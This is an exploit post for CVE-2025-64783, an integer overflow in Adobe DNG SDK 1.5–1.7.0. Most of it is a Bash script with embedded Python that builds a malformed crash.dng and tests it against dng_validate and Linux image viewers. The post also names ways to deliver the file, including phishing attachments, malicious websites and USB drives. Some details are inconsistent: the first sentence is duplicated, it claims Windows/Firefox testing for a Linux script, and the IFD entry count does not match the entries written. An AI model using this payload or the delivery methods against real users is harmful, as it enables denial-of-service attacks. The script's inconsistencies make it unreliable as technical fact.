Adobe DNG SDK 1.5 Integer Overflow / Local Crash

The Adobe DNG SDK version 1.5 contained an integer overflow The Adobe DNG SDK version 1.5 contained an integer overflow vulnerability. This flaw occurred when the SDK processed specially crafted DNG files.

During the parsing of certain metadata fields, an integer value could exceed its maximum capacity. This overflow led to memory corruption or an invalid memory access, resulting in a local denial-of-service (DoS) condition.

Applications using the vulnerable SDK would crash when attempting to open such a malicious DNG file. An attacker could exploit this by tricking a user into opening the crafted file. Users were advised to update their SDK to a patched version to mitigate this local crash risk.

=============================================================================================================================================
| # Title : Adobe DNG SDK 1.5 Integer Overflow Local Crash Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://helpx.adobe.com/security/products/dng-sdk.html |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/212923/ & CVE-2025-64783

[+] Note : This is my first time writing in Bash. I apologize for any mistakes.

[+] Summary : This proof-of-concept exploit demonstrates a local crash condition caused by an integer overflow vulnerability in the Adobe DNG SDK (CVE-2025-64783), affecting versions 1.5 through 1.7.0.
The provided Bash script dynamically generates a malformed DNG image file containing a crafted opcode list that abuses the ScalePerColumn operation.
By supplying extreme signed integer values for the area specification (fArea.l) and column pitch (fColPitch), the exploit triggers an arithmetic overflow during image processing, resulting in out-of-bounds memory access.
The exploit is designed as a crash-focused validation PoC and is automatically tested against vulnerable DNG processing utilities such as dng_validate and common Linux image viewers.
No authentication, network access, or elevated privileges are required. The vulnerability is triggered solely by opening or parsing the malicious DNG file.
This exploit confirms the reliability of the integer overflow condition and serves as a minimal, reproducible demonstration of the vulnerability?s impact on applications that rely on the Adobe DNG SDK for image decoding.

[+] Affected Applications:

Adobe Photoshop

Adobe Lightroom

Adobe Camera Raw

Any application using DNG SDK 1.5+

[+] Exploitation Methods:

Email Phishing: Sending a malicious DNG as an attachment

Malicious Websites: Downloading DNG from websites

Removable Media: Storing DNG on a USB drive

Cloud Applications: Processing DNG on servers

[+] POC : bash cve_2025_64783.sh

#!/bin/bash
# Exploitation script for CVE-2025-64783

echo "[*] CVE-2025-64783 - Adobe DNG SDK Exploit"
echo "[*] Target: DNG SDK 1.5 through 1.7.0"

# Create exploit file
python3 -c "
import struct
data = b'II*\\x08\\x00\\x00\\x00' # TIFF header
data += b'\\x01\\x00' # Number of IFD entries
data += b'\\x00\\x01\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x01\\x00\\x00' # Width
data += b'\\x01\\x01\\x04\\x00\\x01\\x00\\x00\\x00\\x00\\x01\\x00\\x00' # Height
data += b'\\x01\\x03\\x03\\x00\\x01\\x00\\x00\\x00\\x01\\x00\\x00\\x00' # Compression
data += b'\\x11\\x01\\x04\\x00\\x01\\x00\\x00\\x00\\x30\\x00\\x00\\x00' # StripOffsets
data += b'\\x00\\x00\\x00\\x00' # Next IFD

# Malicious opcode list
data += b'opcd' # Signature
data += struct.pack('<I', 1024) # Size
data += struct.pack('<I', 1) # Opcode count
data += struct.pack('<I', 3) # ScalePerColumn
data += struct.pack('<I', 1) # Version
data += struct.pack('<I', 0) # Flags
data += struct.pack('<I', 92) # Opcode size

# Trigger integer overflow
data += struct.pack('<i', -2147483644) # fArea.l
data += struct.pack('<i', 0) # fArea.t
data += struct.pack('<i', 3) # fArea.r
data += struct.pack('<i', 100) # fArea.b
data += struct.pack('<I', 1) # fPlanes
data += struct.pack('<I', 0) # fPlane
data += struct.pack('<I', 2147483646) # fColPitch
data += struct.pack('<I', 1) # fRowPitch

with open('crash.dng', 'wb') as f:
f.write(data)
"

echo "[+] Malicious DNG created: crash.dng"

# Test with vulnerable applications
echo "[*] Testing with vulnerable software..."

# Method 1: Direct dng_validate
if command -v dng_validate &> /dev/null; then
echo "[*] Testing with dng_validate..."
timeout 5 dng_validate crash.dng && echo "[!] Application didn't crash" || echo "[+] Crash triggered!"
fi

# Method 2: Through image viewers
echo "[*] Attempting to trigger via common image viewers..."

viewers=("eog" "gimp" "feh" "display")
for viewer in "${viewers[@]}"; do
if command -v $viewer &> /dev/null; then
echo "[*] Testing with $viewer..."
timeout 3 $viewer crash.dng 2>&1 | grep -i "segmentation\|crash\|abort" && \
echo "[+] $viewer crashed!" || echo "[-] $viewer didn't crash"
fi
done

echo "[*] Cleanup..."
rm -f crash.dng

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================